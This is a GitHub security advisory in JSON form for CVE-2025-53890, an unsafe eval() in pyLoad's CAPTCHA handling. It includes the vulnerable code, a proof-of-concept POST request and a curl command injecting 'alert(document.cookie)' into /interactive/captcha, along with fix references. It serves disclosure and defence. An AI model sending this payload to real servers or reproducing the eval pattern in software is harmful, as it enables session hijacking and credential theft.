CVE-2025-53890: Pyload ng Cross-Site Scripting Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8w3f-4r8f-pf53",
  "modified" : "2025-07-15T15:38:10Z",
  "published" : "2025-07-15T15:38:10Z",
  "aliases" : [ "CVE-2025-53890" ],
  "summary" : "pyLoad vulnerable to XSS through insecure CAPTCHA ",
  "details" : "#### Summary\nAn unsafe JavaScript evaluation vulnerability in pyLoad’s CAPTCHA processing code allows **unauthenticated remote attackers** to execute **arbitrary code** in the client browser and potentially the backend server. Exploitation requires no user interaction or authentication and can result in session hijacking, credential theft, and full system rce.\n\n\n\n#### Details\nThe vulnerable code resides in \n```javascript\nfunction onCaptchaResult(result) {\n    eval(result); // Direct execution of attacker-controlled input\n}\n```\n\n* The `onCaptchaResult()` function directly passes CAPTCHA results (sent from the user) into `eval()`\n* No sanitization or validation is performed on this input\n* A malicious CAPTCHA result can include JavaScript such as `fetch()` or `child_process.exec()` in environments using NodeJS\n* Attackers can fully hijack sessions and pivot to remote code execution on the server if the environment allows it\n\n\n\n### Reproduction Methods\n1. **Official Source Installation**:\n```bash\ngit clone https://github.com/pyload/pyload\ncd pyload\ngit checkout 0.4.20\npython -m pip install -e .\npyload --userdir=/tmp/pyload\n```\n\n2. **Virtual Environment**:\n```bash\npython -m venv pyload-env\nsource pyload-env/bin/activate\npip install pyload==0.4.20\npyload\n```\n\n## CAPTCHA Endpoint Verification\n\n\n**Technical Clarification**:  \n1. The vulnerable endpoint is actually:\n   ```\n   /interactive/captcha\n   ```\n\n2. Complete PoC Request:\n```http\nPOST /interactive/captcha HTTP/1.1\nHost: localhost:8000\nContent-Type: application/x-www-form-urlencoded\n\ncid=123&response=1%3Balert(document.cookie)\n```\n\n3. Curl Command Correction:\n```bash\ncurl -X POST \"http://localhost:8000/interactive/captcha\" \\\n  -d \"cid=123&response=1%3Balert(document.cookie)\"\n```\n\n\n1. **Vulnerable Code Location**:  \n   The eval() vulnerability is confirmed in:\n   ```\n   src/pyload/webui/app/static/js/captcha-interactive.user.js\n   ```\n\n\n\n### **Resources**\n\n1. https://github.com/pyload/pyload/commit/909e5c97885237530d1264cfceb5555870eb9546\n2. [OWASP: Avoid `eval()`](https://cheatsheetseries.owasp.org/cheatsheets/JavaScript_Security_Cheat_Sheet.html#eval)\n3. [#4586](https://github.com/pyload/pyload/pull/4586)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pyload-ng"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.20"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pyload/pyload/security/advisories/GHSA-8w3f-4r8f-pf53"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-53890"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pyload/pyload/pull/4586"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pyload/pyload/commit/909e5c97885237530d1264cfceb5555870eb9546"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pyload/pyload"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79", "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-07-15T15:38:10Z",
    "nvd_published_at" : "2025-07-15T00:15:24Z"
  }
}